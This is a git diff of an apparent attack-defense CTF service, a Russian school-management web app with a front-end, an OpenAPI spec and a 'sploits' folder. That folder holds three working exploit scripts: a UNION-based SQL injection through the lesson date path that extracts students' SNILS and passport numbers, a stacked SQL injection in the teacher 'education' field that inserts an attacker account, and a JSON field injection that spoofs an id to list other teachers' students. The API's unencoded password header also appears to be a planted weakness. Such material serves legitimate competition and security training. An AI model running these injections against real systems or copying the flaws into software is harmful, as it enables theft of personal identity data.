`; + return box; + })(), + el("table", { class: "table", id: "class-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "Класс"), + el("th", {}, "Создатель"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const { data } = await Api.listClasses(session); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const c of data?.["классы"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(c["идентификатор"]))); + tr.appendChild( + el("td", {}, `${c["номер"] || ""}${c["буква"] ? "-" + c["буква"] : ""}`) + ); + tr.appendChild(el("td", {}, String(c["создатель"] ?? ""))); + const actions = el("td"); + const btnAdd = el("button", { class: "btn" }, "Добавить ученика"); + btnAdd.addEventListener("click", async () => { + const sid = Number($("#st-to-add", listCard)?.value || 0); + if (!sid) return alert("Укажите ID ученика"); + try { + await Api.addStudentToClass(session, c["идентификатор"], sid); + await refresh(); + } catch (e) { + alert(e.message || "Не удалось добавить ученика"); + } + }); + const btnRm = el("button", { class: "btn secondary" }, "Убрать ученика"); + btnRm.addEventListener("click", async () => { + const sid = Number($("#st-to-add", listCard)?.value || 0); + if (!sid) return alert("Укажите ID ученика"); + try { + await Api.removeStudentFromClass(session, c["идентификатор"], sid); + await refresh(); + } catch (e) { + alert(e.message || "Не удалось удалить ученика"); + } + }); + const btnDel = el("button", { class: "btn danger" }, "Удалить класс"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить класс?")) return; + await Api.deleteClass(session, c["идентификатор"]); + await refresh(); + }); + actions.appendChild(btnAdd); + actions.appendChild(btnRm); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + refresh().catch(console.error); + return wrap; +} + +function studentsView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать ученика"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
+
+
+
+
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(form); + try { + await Api.createStudent(session, payload); + await refresh(); + form.reset(); + } catch (err) { + const box = form.querySelector("#st-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания ученика"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Ученики"), + el("div", { class: "card-body" }, [ + el("table", { class: "table", id: "st-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "ФИО"), + el("th", {}, "Имя пользователя"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const { data } = await Api.listStudents(session); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const s of data?.["ученики"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(s["идентификатор"]))); + tr.appendChild( + el( + "td", + {}, + `${s["фамилия"] || ""} ${s["имя"] || ""} ${ + s["отчество"] || "" + }`.trim() + ) + ); + tr.appendChild(el("td", {}, s["имя пользователя"] || "")); + const actions = el("td"); + const btnDel = el("button", { class: "btn danger" }, "Удалить"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить ученика?")) return; + await Api.deleteStudent(session, s["идентификатор"]); + await refresh(); + }); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + refresh().catch(console.error); + return wrap; +} + +function lessonsView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать урок"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
+
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const f = new FormData(form); + const classId = Number(f.get("classId")); + const payload = { + дата: f.get("дата"), + тема: f.get("тема"), + домашка: f.get("домашка"), + }; + try { + await Api.createLesson(session, classId, payload); + await refresh(); + } catch (err) { + const box = form.querySelector("#lsn-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания урока"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Уроки класса"), + el("div", { class: "card-body" }, [ + (() => { + const filter = el("div", { + class: "form-grid", + style: "margin-bottom:8px", + }); + filter.innerHTML = ` +
+
+
`; + return filter; + })(), + el("table", { class: "table", id: "lsn-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "Класс"), + el("th", {}, "Дата"), + el("th", {}, "Тема"), + el("th", {}, "Д/З"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const classId = Number($("#flt-class", listCard)?.value || 0); + const date = $("#flt-date", listCard)?.value || undefined; + if (!classId) return; + const { data } = await Api.listLessons(session, classId, date); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const l of data?.["уроки"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(l["идентификатор"]))); + tr.appendChild(el("td", {}, String(l["идентификатор класса"]))); + tr.appendChild(el("td", {}, l["дата"] || "")); + tr.appendChild(el("td", {}, l["название"] || "")); + tr.appendChild(el("td", {}, l["домашнее задание"] || "")); + const actions = el("td"); + const btnDel = el("button", { class: "btn danger" }, "Удалить"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить урок?")) return; + await Api.deleteLessonById( + session, + l["идентификатор класса"], + l["идентификатор"] + ); + await refresh(); + }); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + $("#btn-load", listCard)?.addEventListener("click", refresh); + + return wrap; +} + +function dashboardView() { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Сводная"), + el("div", { class: "card-body" }, [ + el( + "p", + {}, + "Добро пожаловать! Используйте боковое меню, чтобы работать с данными." + ), + el( + "p", + { class: "small" }, + `Стоят пассажиры в аэропорту, посадочный досмотр проходят. Дошла очередь до мужика с чемоданом. +— Пожалуйста, приготовьте чемодан к осмотру. +— Не могу. +— Почему? +— А у меня там бипки! +— А что это? +— Ну, пропатчите сервис на тривиле — покажу! +Служба безопасности шутку не поняла, вызвала наряд полиции: +— Гражданин, открывайте чемодан. +— Но я не могу! +— Почему не можете? +— Потому что у меня там бипки! +— «Бипки»? Что это? +— Так реализуйте гарбадж коллектор мне, и я покажу! +Отобрали чемодан, а открыть никто не может. Повезли мужика в СИЗО. В камере сидельцы расспрашивают: +— Братуха, за что тебя? +— Да чемодан отказался открывать. +— А что там? +— Да бипки там. +— Какие еще «бипки»? +— Ну документацию обновите мне, тогда и расскажу. +И вот угодил мужик в лазарет, с побоями да синяками по всему телу, весь перебинтован, еле дышит. Следователи вызвали группу специалистов для вскрытия чемодана. Час, два, три пыхтели. Кое-как разворотили, смотрят — а там бипки.` + ), + ]), + ]); + return card; +} + +route("/dashboard", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("dashboard")); + view.appendChild(dashboardView(s)); +}); +route("/teacher/classes", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("classes")); + view.appendChild(classesView(s)); +}); +route("/teacher/students", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("students")); + view.appendChild(studentsView(s)); +}); +route("/teacher/lessons", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("lessons")); + view.appendChild(lessonsView(s)); +}); diff --git a/openapi/srab.yaml b/openapi/srab.yaml new file mode 100644 index 0000000..c65ada6 --- /dev/null +++ b/openapi/srab.yaml @@ -0,0 +1,812 @@ +openapi: 3.0.3 +info: + title: SRAB Учебная Платформа + version: 1.0.0 + description: > + HTTP API, реализованное контроллерами из каталога `исх/властелины`. + Аутентификация выполняется с помощью заголовка `Authorization` вида + `Basic <имя_пользователя> <пароль>` (без base64). + +servers: + - url: http://localhost:1337 + +tags: + - name: Главный + - name: Пользователи + - name: Классы + - name: Уроки + - name: Ученики + - name: Учителя + +components: + securitySchemes: + BasicPassport: + type: apiKey + in: header + name: Authorization + description: > + Формат: `Basic <имя_пользователя> <пароль>`. Используется для всех защищённых маршрутов. + schemas: + LoginRequest: + type: object + required: ["имя пользователя", "пароль"] + properties: + "имя пользователя": + type: string + "пароль": + type: string + CreateTeacherRequest: + type: object + required: + ["имя", "фамилия", "отчество", "образование", "пароль", "повтор пароля"] + properties: + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "образование": + type: string + "пароль": + type: string + "повтор пароля": + type: string + ChangePasswordRequest: + type: object + required: ["новый пароль"] + properties: + "новый пароль": + type: string + Student: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "наставник": + type: integer + format: int64 + "имя пользователя": + type: string + StudentListResponse: + type: object + properties: + "ученики": + type: array + items: + $ref: "#/components/schemas/Student" + CreateStudentResponse: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "учитель": + type: integer + format: int64 + "имя пользователя": + type: string + Teacher: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "имя пользователя": + type: string + "образование": + type: string + TeacherListResponse: + type: object + properties: + "учителя": + type: array + items: + $ref: "#/components/schemas/Teacher" + CreateStudentRequest: + type: object + required: + [ + "имя", + "фамилия", + "отчество", + "снилс", + "паспорт", + "пароль", + "повтор пароля", + ] + properties: + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "пароль": + type: string + "повтор пароля": + type: string + Class: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "номер": + type: integer + "буква": + type: string + "создатель": + type: integer + format: int64 + ClassListResponse: + type: object + properties: + "классы": + type: array + items: + $ref: "#/components/schemas/Class" + CreateClassRequest: + type: object + required: ["номер", "буква"] + properties: + "номер": + type: integer + "буква": + type: string + description: Однобуквенное обозначение параллели. + Lesson: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "идентификатор класса": + type: integer + format: int64 + "дата": + type: string + description: Дата урока (YYYY-MM-DD). + "название": + type: string + "домашнее задание": + type: string + LessonListResponse: + type: object + properties: + "уроки": + type: array + items: + $ref: "#/components/schemas/Lesson" + CreateLessonRequest: + type: object + required: [] + properties: + "дата": + type: string + description: Дата урока; альтернативно можно использовать поле «дата урока». + "дата урока": + type: string + description: Альтернативное имя поля «дата». + "название": + type: string + description: Название урока; альтернативно можно использовать поле «тема». + "тема": + type: string + description: Альтернативное имя поля «название». + "домашнее задание": + type: string + description: Текст домашнего задания; альтернативно можно использовать поле «домашка». + "домашка": + type: string + description: Альтернативное имя поля «домашнее задание». + description: > + Требует хотя бы одно из полей «дата» или «дата урока», а также «название» или «тема». + Остальные поля необязательны. +paths: + /api/: + get: + tags: [Главный] + summary: Проверка здоровья сервиса. + responses: + "200": + description: Успешный ответ. + content: + text/plain: + schema: + type: string + example: Привет, мир! + + /api/users: + post: + tags: [Пользователи] + summary: Регистрация учителя (создание пользователя-учителя). + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateTeacherRequest" + responses: + "201": + description: Учитель создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Teacher" + examples: + success: + summary: Пример созданного учителя + value: + идентификатор: 1 + образование: "высшее" + имя: "Иван" + фамилия: "Иванов" + отчество: "Иванович" + имя пользователя: "Иван.Иванов" + "400": + description: Невалидное тело запроса или пароли не совпадают. + "500": + description: Ошибка при обращении к базе. + + /api/users/login: + post: + tags: [Пользователи] + summary: Аутентификация пользователя. + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/LoginRequest" + responses: + "200": + description: Аутентификация прошла успешно. + content: + text/plain: + schema: + type: string + example: Рады видеть вас снова :3 + "401": + description: Неверные учётные данные. + "500": + description: Внутренняя ошибка при обращении к базе. + + /api/users/password: + put: + tags: [Пользователи] + summary: Смена пароля авторизованного пользователя. + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/ChangePasswordRequest" + responses: + "204": + description: Пароль успешно изменён. + "400": + description: Невалидное тело запроса. + "401": + description: Неавторизовано (нет или неверный паспорт). + "422": + description: Новый пароль отсутствует или пустой. + "500": + description: Ошибка при обращении к базе. + + /api/classes: + get: + tags: [Классы] + summary: Список классов, созданных учителем. + security: + - BasicPassport: [] + parameters: + - name: "учитель" + in: query + required: false + description: > + Идентификатор учителя для фильтрации. Для администраторов параметр обязателен; + для учителей по умолчанию используется их собственный идентификатор, если + параметр не указан. + schema: + type: integer + format: int64 + example: 42 + responses: + "200": + description: Список доступных классов. + content: + application/json: + schema: + $ref: "#/components/schemas/ClassListResponse" + "400": + description: > + Некорректные параметры запроса: администраторам необходимо указать параметр + «учитель», либо передано неверное значение параметра. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + post: + tags: [Классы] + summary: Создание нового класса. + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateClassRequest" + responses: + "201": + description: Класс создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Class" + "400": + description: Невалидное тело запроса. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "422": + description: Нарушение ограничений БД (дублирование и т.п.). + "500": + description: Ошибка базы данных. + + /api/classes/{classId}: + delete: + tags: [Классы] + summary: Удаление класса учителя. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + description: Идентификатор класса. + schema: + type: integer + format: int64 + responses: + "204": + description: Класс удалён. + "400": + description: Не указан идентификатор. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/students/{studentId}: + post: + tags: [Классы] + summary: Добавление ученика в класс. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: studentId + in: path + required: true + schema: + type: integer + format: int64 + responses: + "201": + description: Ученик добавлен. + "400": + description: Недостаточно параметров в маршруте. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Ученик не найден. + "422": + description: Связь уже существует или нарушена целостность. + "500": + description: Ошибка базы данных. + delete: + tags: [Классы] + summary: Удаление ученика из класса. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: studentId + in: path + required: true + schema: + type: integer + format: int64 + responses: + "204": + description: Ученик удалён из класса. + "400": + description: Недостаточно параметров в маршруте. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Связь ученик-класс не найдена. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons: + post: + tags: [Уроки] + summary: Создание урока. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateLessonRequest" + responses: + "201": + description: Урок создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Lesson" + "400": + description: Невалидное тело или отсутствуют обязательные поля. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "422": + description: Нарушение ограничений при вставке. + "500": + description: Ошибка базы данных. + get: + tags: [Уроки] + summary: Список уроков класса. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: query + required: false + schema: + type: string + description: > + Дополнительный фильтр по дате (YYYY-MM-DD). Аналогичен маршрутам с сегментом `/date/{date}`. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Не указан идентификатор класса. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons/{date}: + get: + tags: [Уроки] + summary: Список уроков класса за указанную дату. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: string + description: Дата в формате YYYY-MM-DD. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + delete: + tags: [Уроки] + summary: Удаление урока по идентификатору. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: integer + format: int64 + description: Идентификатор урока для удаления. + responses: + "204": + description: Урок удалён. + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Урок не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons/date/{date}: + get: + tags: [Уроки] + summary: Альтернативный маршрут фильтрации уроков по дате. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: string + description: Дата в формате YYYY-MM-DD. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/students: + post: + tags: [Ученики] + summary: Создание ученика (только для учителей). + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateStudentRequest" + responses: + "201": + description: Ученик создан. + content: + application/json: + schema: + $ref: "#/components/schemas/CreateStudentResponse" + "400": + description: Невалидное тело запроса или пароли не совпадают. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + get: + tags: [Ученики] + summary: Список учеников по учителю. + security: + - BasicPassport: [] + parameters: + - name: "учитель" + in: query + required: false + description: > + Идентификатор учителя для фильтрации. Для администраторов параметр обязателен; + для учителей по умолчанию используется их собственный идентификатор, если + параметр не указан. + schema: + type: integer + format: int64 + example: 42 + responses: + "200": + description: Список учеников. + content: + application/json: + schema: + $ref: "#/components/schemas/StudentListResponse" + "400": + description: Некорректные параметры запроса. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + + /api/students/{id}: + get: + tags: [Ученики] + summary: Получение ученика по идентификатору. + security: + - BasicPassport: [] + parameters: + - name: id + in: path + required: true + schema: + type: integer + format: int64 + responses: + "200": + description: Ученик найден. + content: + application/json: + schema: + $ref: "#/components/schemas/Student" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "404": + description: Ученик не найден. + "500": + description: Ошибка базы данных. + delete: + tags: [Ученики] + summary: Удаление ученика (только для учителей). + security: + - BasicPassport: [] + parameters: + - name: id + in: path + required: true + schema: + type: integer + format: int64 + responses: + "204": + description: Ученик удалён. + "400": + description: Не указан идентификатор. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем или не наставник указанного ученика. + "404": + description: Ученик не найден. + "500": + description: Ошибка базы данных. + + /api/teachers: + get: + tags: [Учителя] + summary: Список учителей (только для администраторов). + security: + - BasicPassport: [] + parameters: + - name: "страница" + in: query + required: false + description: Номер страницы (начиная с 1). По умолчанию 1. + schema: + type: integer + minimum: 1 + example: 2 + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/TeacherListResponse" + "400": + description: Некорректные параметры запроса (напр., страница < 1). + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является администратором. + "500": + description: Ошибка базы данных. diff --git a/sploits/01_sql_bad_escape.py b/sploits/01_sql_bad_escape.py new file mode 100644 index 0000000..ff2de8d --- /dev/null +++ b/sploits/01_sql_bad_escape.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import socket +import common + +credentials = common.register_random_teacher() +headers = common.get_auth_headers(credentials) +class_id = common.create_class(credentials) + +injection = ( + "01%2F01%2F2077' " + "' UNION SELECT id AS id, user_id AS class_id, snils AS date, " + "passport AS title, 'gotcha' AS homework FROM students " + "WHERE '-1' = '-1" +) + +path = f"/api/classes/{class_id}/lessons/{injection}" +url = common.BASE + path + +s = socket.create_connection((common.HOST, common.PORT)) + +s.sendall(f"""GET {path} HTTP/1.1 +Authorization: {headers["Authorization"]} + +""".encode("utf-8")) + +chunks = [] + +while True: + data = s.recv(4096) + if not data: + break + + chunks.append(data) + +body = b"".join(chunks).decode("utf-8") + +print(body) diff --git a/sploits/02_sql_no_escape.py b/sploits/02_sql_no_escape.py new file mode 100644 index 0000000..ee12b80 --- /dev/null +++ b/sploits/02_sql_no_escape.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import requests +import common + +injection_first_name = common.random_string() +injection_last_name = common.random_string() +injection_password = common.random_string() +injection_username = f"{injection_first_name}.{injection_last_name}" + +legit_first_name = common.random_string() +legit_last_name = common.random_string() +legit_password = common.random_string() +legit_username = f"{legit_first_name}.{legit_last_name}" +legit_education = ( + "Pony', ''); INSERT INTO users (first_name, last_name, middle_name, " + "username, password) " + f"VALUES ('{injection_first_name}', '{injection_last_name}', " + f"'Injectionovich', '{injection_username}', " + f"'{injection_password}'); --" +) + +common.register_teacher( + legit_first_name, + legit_last_name, + legit_password, + legit_username, + legit_education, +) + +last_student_id = common.create_student((legit_username, legit_password)) +headers = common.get_auth_headers((injection_username, injection_password)) + +for student_id in range(max(1, last_student_id - 100), last_student_id): + url = f"{common.BASE}/api/students/{student_id}" + response = requests.get(url, headers=headers) + + print(response.text) diff --git a/sploits/03_json_injection.py b/sploits/03_json_injection.py new file mode 100644 index 0000000..a3c519a --- /dev/null +++ b/sploits/03_json_injection.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python3 + +import socket +import common + +first_name = common.random_string() +last_name = common.random_string() +password = common.random_string() +username = f"{first_name}.{last_name}" + +_, _, base_teacher_id = common.register_random_teacher() + +common.register_teacher( + first_name, + last_name, + password, + username, + middle_name="""Injectionovich", "id": 228, "kek": "pek""" +) + +for teacher_id in range(max(1, base_teacher_id - 100), base_teacher_id): + path = f"/api/students?учитель={teacher_id}" + headers = common.get_auth_headers((username, password)) + + s = socket.create_connection((common.HOST, common.PORT)) + + s.sendall(f"""GET {path} HTTP/1.1 + Authorization: {headers["Authorization"]} + + """.encode("utf-8")) + + chunks = [] + + while True: + data = s.recv(4096) + if not data: + break + + chunks.append(data) + + body = b"".join(chunks).decode("utf-8") + + print(body) + diff --git a/sploits/common/__init__.py b/sploits/common/__init__.py new file mode 100644 index 0000000..e5faf3d --- /dev/null +++ b/sploits/common/__init__.py @@ -0,0 +1,118 @@ +import json +import random +import sys +import requests + +HOST = sys.argv[1] +PORT = 1337 +BASE = f"http://{HOST}:{PORT}" + + +def random_string(length=8): + letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + return ''.join(random.choice(letters) for _ in range(length)) + + +def register_teacher( + first_name, + last_name, + password, + username, + education="Pony", + middle_name="Автотестович", +): + url = f"{BASE}/api/users" + data = { + "имя": first_name, + "фамилия": last_name, + "отчество": middle_name, + "образование": education, + "пароль": password, + "повтор пароля": password, + } + + response = requests.post(url, data=json.dumps(data, ensure_ascii=False)) + + if response.status_code != 201: + print( + f"Failed to register teacher: {response.status_code} " + f"{response.text}" + ) + sys.exit(1) + + data = response.json() + + return (username, password, data["идентификатор"]) + + +def register_random_teacher(): + first_name = random_string() + last_name = random_string() + password = random_string() + username = f"{first_name}.{last_name}" + + return register_teacher(first_name, last_name, password, username) + + +def create_class(teacher_credentials): + headers = get_auth_headers(teacher_credentials) + + url = f"{BASE}/api/classes" + data = { + "номер": 11, + "буква": "Б", + } + + response = requests.post( + url, + data=json.dumps(data, ensure_ascii=False), + headers=headers + ) + + if response.status_code != 201: + print( + f"Failed to create class: {response.status_code} {response.text}" + ) + sys.exit(1) + + class_info = response.json() + return class_info["идентификатор"] + + +def create_student(teacher_credentials): + headers = get_auth_headers(teacher_credentials) + password = random_string() + + url = f"{BASE}/api/students" + data = { + "имя": random_string(), + "фамилия": random_string(), + "отчество": "Автотестович", + "снилс": random_string(), + "паспорт": random_string(), + "пароль": password, + "повтор пароля": password, + } + + response = requests.post( + url, + data=json.dumps(data, ensure_ascii=False), + headers=headers + ) + + if response.status_code != 201: + print( + f"Failed to create student: {response.status_code} {response.text}" + ) + sys.exit(1) + + class_info = response.json() + return class_info["идентификатор"] + + +def get_auth_headers(teacher_credentials): + return { + "Authorization": ( + f"Basic {teacher_credentials[0]} {teacher_credentials[1]}" + ) + } diff --git a/var/.keep b/var/.keep new file mode 100644 index 0000000..e69de29 diff --git a/wrapper/Cargo.lock b/wrapper/Cargo.lock new file mode 100644 index 0000000..01db2ab --- /dev/null +++ b/wrapper/Cargo.lock @@ -0,0 +1,713 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "axum" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18ed336352031311f4e0b4dd2ff392d4fbb370777c9d18d7fc9d7359f73871" +dependencies = [ + "axum-core", + "bytes", + "form_urlencoded", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "serde_core", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-core" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59446ce19cd142f8833f856eb31f3eb097812d1479ab224f54d72428ca21ea22" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "http-body-util", + "mime", + "pin-project-lite", + "sync_wrapper", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "pin-utils", +] + +[[package]] +name = "http" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4a85d31aea989eead29a3aaf9e1115a180df8282431156e533de47660892565" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "http-range-header" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 